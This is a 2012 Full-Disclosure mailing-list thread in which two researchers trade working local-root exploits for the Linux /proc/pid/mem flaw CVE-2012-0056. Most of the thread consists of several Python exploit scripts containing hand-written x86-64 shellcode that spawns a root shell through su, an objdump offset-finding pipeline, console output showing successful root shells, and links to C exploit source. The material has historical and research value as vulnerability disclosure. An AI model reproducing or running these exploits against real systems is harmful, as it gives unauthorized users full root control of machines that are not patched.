Date: Tue, 24 Jan 2012 08:49:10 +0100
From: "Jason A. Donenfeld" <Jason@...c4.com>
To: sd <sd@...ksheep.org>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Linux Local Root -- CVE-2012-0056 -- Detailed
	Write-up

Success!

$ ./a.out

===============================


=          Mempodipper        =


=           by zx2c4          =


=         Jan 21, 2012        =
===============================

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/11351/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Ptracing su to find exit@plt without reading binary.
[+] Resolved exit@plt to 0x402298.
[+] Calculating su padding.
[+] Seeking to offset 0x40228c.
[+] Executing su with shellcode.
sh-4.2#

http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
On Tue, Jan 24, 2012 at 08:35, Jason A. Donenfeld <Jason@...c4.com> wrote:

> I really couldn't really decipher the python without squinting, and I
> decided I didn't really like this method of going about it; it seems a bit
> fuzzy. I want things exact. Presto. Presto exact. I have been awake for a
> while and things like "presto exact" now make sense in my head. Maybe yours
> isn't fuzzy. I'm not really certain (nor coherent).
>
> So I coded up is something that waits on a pipe for the first printf to
> stderr, ptrace traversing using the syscall handler, and then after, it
> does a step at a time until it gets to an address below a massive threshold
> that is a "call" instruction. Instead of taking EIP here, which doesn't
> work if the next call is exit (ubuntu's su, though not 64bit gentoo's), I
> read for the 0xe8 call, and then the 4 bytes after that, and add it to EIP
> to get where it's going to call to.
>
> First time using ptrace.
>
> The result is this:
> http://git.zx2c4.com/CVE-2012-0056/tree/ptrace-offset-finder.c
>
> The four systems I've tested it on, it's completely accurate and very
> fast. Now adding the code to mempodipper.
>
> On Mon, Jan 23, 2012 at 21:42, sd <sd@...ksheep.org> wrote:
>
>> ptrace aint exactly rocket science :)
>> this one is OCD friendly (no spraying & detects prefix length).
>>
>> looking forward to your C port (python aint exactly great for real
>> world use because of various deps).
>>
>> #!/usr/bin/python
>> # CVE-2012-0056 amd64
>> # sd@...ksheep.org
>> #
>> # hg clone https://bitbucket.org/haypo/python-ptrace
>> # (cd python-ptrace && ./setup.py install --home=~)
>> # hg clone https://code.google.com/p/python-passfd
>> # (cd python-passfd && ./setup.py install --home=~)
>> # PYTHONPATH=~/lib/python ./hurrdurr.py
>> from socket import *
>> from passfd import *
>> from os import *
>> from socket import *
>> from sys import *
>> from ptrace.binding import *
>> from time import *
>>
>>
>> if argv[-1]=='hax':
>>        sk=int(argv[1])
>>        fd=open("/proc/%d/mem"%getppid(),O_WRONLY)
>>         lseek(fd,int(argv[2]),0)
>>        sendfd(sk,fd)
>> else:
>>        r,w=pipe()
>>        pid=fork()
>>        if not pid:
>>                dup2(w,2)
>>                ptrace_traceme()
>>                execl("/bin/su","su","h4x0rr")
>>        wait()
>>        while ptrace_getregs(pid).orig_rax not in (60,231):
>>                ptrace_syscall(pid)
>>                wait()
>>        rip=filter(lambda x: x>0x00400000 and x<0x09000000,
>>                [ptrace_peektext(pid,
>>                ptrace_getregs(pid).rsp+i) for i in range(0,256,8)])[0]
>>
>>  data=(ptrace_peektext(pid,(rip-4)&(~7))|ptrace_peektext(pid,(rip+4)&(~7))<<64)
>>
>>  rip=((rip+(data>>(((rip-4)&7)*8)))&0xffffffff)-read(r,32).find('h4x0rr')
>>         a,b=socketpair()
>>        if not fork():
>>                execl("/usr/bin/python","python",
>>                       __file__,str(a.fileno()),str(rip),'hax')
>>         dup2(recvfd(b)[0],2)
>>        execl("/bin/su","su","\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+
>>                "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+
>>                "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+
>>                "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05");
>>
>>
>> 2012/1/23 Jason A. Donenfeld <Jason@...c4.com>:
>> > I started on a ptrace based way of finding things, but I'm a bit of a
>> novice
>> > in this area. It's not working yet, but progress is here:
>> > http://git.zx2c4.com/CVE-2012-0056/tree/exit-ptrace-finder.c
>> >
>> > Any pointers?
>> >
>> >
>> > On Mon, Jan 23, 2012 at 04:05, Jason A. Donenfeld <Jason@...c4.com>
>> wrote:
>> >>
>> >> Well done; that's a nice trick. Not really a fan of "spraying" like
>> >> that (for irrational 'aesthetic' bullshitty reasons), but this is
>> >> quite nice. Still though, you have the lseek offset in there, which is
>> >> different for different executables.
>> >>
>> >> I'm sure there's a way to determine this without read access though --
>> >> ptrace, for example, will make a suid binary loose its suidness, but
>> >> you could then (I think?) inquire about memory locations and maps.
>> >> Once you have the info you need, then you run su normally sans
>> >> ptracing in the exploit. Not sure if this works or not. I think there
>> >> are a few other similar things you can do when running suid code that
>> >> will make it loose suidness, and also a variety of inspection
>> >> techniques.
>> >>
>> >> On Mon, Jan 23, 2012 at 03:46, sd <sd@...ksheep.org> wrote:
>> >> > 2012/1/23 Jason A. Donenfeld <Jason@...c4.com>:
>> >> >> NICE! Well, I guess posting that blog post defeated the point of not
>> >> >> publishing. :-D
>> >> >
>> >> > Thanks for compliance with first full-disclosure famwhoring rule:
>> >> > always post warez to make kids happy! :)
>> >> >
>> >> > On a related note, here goes my "private" version which relaxes the
>> >> > rules regarding file permissions on /bin/su (ie not world readable).
>> >> > This is to point out you can just overwrite 8kb of .text (default
>> >> > stderr buffer, more is possible, but without mere nops) instead of
>> >> > juggling with objdump.
>> >> >
>> >> > !/usr/bin/python
>> >> > # CVE-2012-0056 amd64
>> >> > # sd@...ksheep.org
>> >> > #
>> >> > # hg clone https://code.google.com/p/python-passfd
>> >> > # cd python-passfd; ./setup.py build_ext --inplace; cd src
>> >> > # mv ~/hurrdurr.py .
>> >> > # ./hurrdurr.py
>> >> > from socket import *
>> >> > from passfd import *
>> >> > from os import *
>> >> > from socket import *
>> >> > from sys import *
>> >> > if argv[-1]=='hax':
>> >> >        sk=int(argv[1])
>> >> >        fd=open("/proc/%d/mem"%getppid(),O_WRONLY)
>> >> >        lseek(fd,0x401000,0)
>> >> >        sendfd(sk,fd)
>> >> > else:
>> >> >        a,b=socketpair()
>> >> >        if not fork():
>> >> >                execl("/usr/bin/python","python",
>> >> >                      __file__,str(a.fileno()),'hax')
>> >> >        dup2(recvfd(b)[0],2)
>> >> >
>> >> >
>>  execl("/bin/su","su",("\x90"*8000)+"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+
>> >> >
>>  "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+
>> >> >
>>  "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+
>> >> >                "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05");
>> >> >
>> >> >
>> >> >
>> >> >>
>> >> >> So, here's my code:
>> >> >>  http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
>> >> >>
>> >> >> I wrote the shellcode by hand too, and you can grab the 32 and 64
>> bit
>> >> >> versions from that same tree.
>> >> >>
>> >> >> Have fun.
>> >> >>
>> >> >>
>> >> >>
>> >> >> BTW, before I'm asked, the reason why I don't hard code 12 for the
>> >> >> length of the su error string is that it's different on different
>> >> >> distros.
>> >> >>
>> >> >> On Mon, Jan 23, 2012 at 02:14, sd <sd@...ksheep.org> wrote:
>> >> >>> 2012/1/23 Jason A. Donenfeld <Jason@...c4.com>:
>> >> >>>> Server presently DoS'd, or dreamhost is tweaking again.
>> >> >>>
>> >> >>> boring tl;dr - don't play kaminsky on us :)
>> >> >>>
>> >> >>> #!/usr/bin/python
>> >> >>> # CVE-2012-0056 amd64
>> >> >>> # sd@...ksheep.org
>> >> >>> #
>> >> >>> # hg clone https://code.google.com/p/python-passfd
>> >> >>> # cd python-passfd; ./setup.py build_ext --inplace; cd src
>> >> >>> # mv ~/hurrdurr.py .
>> >> >>> # ./hurrdurr.py `objdump -d /bin/su|grep 'exit@...'|head -n 1|cut
>> -d '
>> >> >>> ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'`
>> >> >>> from socket import *
>> >> >>> from passfd import *
>> >> >>> from os import *
>> >> >>> from socket import *
>> >> >>> from sys import *
>> >> >>> from time import *
>> >> >>> if argv[-1]=='hax':
>> >> >>>        sk=int(argv[1])
>> >> >>>        fd=open("/proc/%d/mem"%getppid(),O_WRONLY)
>> >> >>>        lseek(fd,int(argv[2].split('x')[-1],16)-12,0)
>> >> >>>        sendfd(sk,fd)
>> >> >>>        sleep(1)
>> >> >>> else:
>> >> >>>        a,b=socketpair()
>> >> >>>        if not fork():
>> >> >>>                execl("/usr/bin/python","python",
>> >> >>>                      __file__,str(a.fileno()),argv[1],'hax')
>> >> >>>        dup2(recvfd(b)[0],2)
>> >> >>>
>> >> >>>  execl("/bin/su","su","\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+
>> >> >>>
>>  "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+
>> >> >>>
>>  "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+
>> >> >>>                "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05");
>> >> >>>
>> >> >>> --
>> >> >>> ./hurrdurr.py `objdump -d /bin/su|grep 'exit@...'|head -n 1|cut
>> -d ' '
>> >> >>> -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'`
>> >> >>> id
>> >> >>> uid=0(root) gid=1000(sd)
>> >> >>>
>> >> >>>
>> groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),110(netdev),125(lastfm),1000(sd)
>> >> >
>> >> > _______________________________________________
>> >> > Full-Disclosure - We believe in it.
>> >> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> >> > Hosted and sponsored by Secunia - http://secunia.com/
>> >
>> >
>> >
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>
>
>
>

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